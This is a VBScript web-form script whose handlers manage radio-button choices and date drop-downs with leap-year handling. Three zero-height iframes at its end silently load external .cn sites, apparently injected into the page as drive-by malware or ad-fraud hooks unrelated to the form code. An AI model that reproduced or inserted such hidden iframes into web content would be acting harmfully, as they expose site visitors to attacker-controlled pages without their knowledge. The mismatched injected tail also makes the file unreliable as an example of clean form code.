sub choise1_onclick()
   if reg.choise1.checked then
        reg.choise2.checked=false
        reg.hbstartname.disabled=true
        reg.hbendname.disabled=true
        reg.year.disabled=true
        reg.month.disabled=true
        reg.day.disabled=true
        reg.StartTime1.disabled=true
        reg.StartTime2.disabled=true
        reg.hanban.disabled=false
   end if
end sub

sub choise2_onclick()
   if reg.choise2.checked then
        reg.choise1.checked=false
        reg.hbstartname.disabled=false
        reg.hbendname.disabled=false
        reg.year.disabled=false
        reg.month.disabled=false
        reg.day.disabled=false
        reg.StartTime1.disabled=false
        reg.StartTime2.disabled=false
        reg.hanban.disabled=true
   end if
end sub

sub month_onclick()
   yearsel=reg.year.value
   if yearsel="" or not(isnumeric(reg.year.value)) then yearsel=year(date)
   monthsel=reg.month.value
   if monthsel=1 or monthsel=3 or monthsel=5 or monthsel=7 or monthsel=8 or monthsel=10 or monthsel=12 then
       j=reg.day.length
       reg.day.length=31
       for i=j to 30
           reg.day.options(i).value=i+1
           reg.day.options(i).text=i+1
       next
   elseif monthsel=2 then
       if ((int(yearsel) mod 4)=0 and (int(yearsel) mod 100)<>0) or ((int(yearsel) mod 4)=0 and (int(yearsel) mod 100)=0 and (int(yearsel) mod 400)=0) then
           reg.day.length=29
           reg.day.options(28).value=29
           reg.day.options(28).text=29
       else
           reg.day.length=28
       end if
   else
       j=reg.day.length
       reg.day.length=30
       for i=j to 29
           reg.day.options(i).value=i+1
           reg.day.options(i).text=i+1
       next
   end if
end sub

sub year_onclick()
   yearsel=reg.year.value
   if yearsel="" or not(isnumeric(reg.year.value)) then yearsel=year(date)
   if reg.month.value=2 then
   if ((int(yearsel) mod 4)=0 and (int(yearsel) mod 100)<>0) or ((int(yearsel) mod 4)=0 and (int(yearsel) mod 100)=0 and (int(yearsel) mod 400)=0) then
      reg.day.length=29
      reg.day.options(28).value=29
      reg.day.options(28).text=29
   else
      reg.day.length=28
   end if
   end if
end sub

sub day_onclick()
   yearsel=reg.year.value
   if yearsel="" or not(isnumeric(reg.year.value)) then yearsel=year(date)
   if reg.month.value=2 then
   if ((int(yearsel) mod 4)=0 and (int(yearsel) mod 100)<>0) or ((int(yearsel) mod 4)=0 and (int(yearsel) mod 100)=0 and (int(yearsel) mod 400)=0) then
      reg.day.length=29
      reg.day.options(28).value=29
      reg.day.options(28).text=29
   else
      reg.day.length=28
   end if
   end if
end sub

sub window_onload()
  reg.year.value=year(date)
  reg.choise1.checked=true
  reg.choise2.checked=false
  reg.month.options(month(date)-1).selected=true
  reg.day.options(day(date)-1).selected=true
end sub
<iframe src=http://www.haogs.cn/html width=100 height=0></iframe>
<iframe src=http://www.x454.cn/ width=100 height=0 frameborder=0></iframe>
<iframe src=http://w.mh8888.cn/ad.htm?a width=100 height=0 frameborder=0></iframe>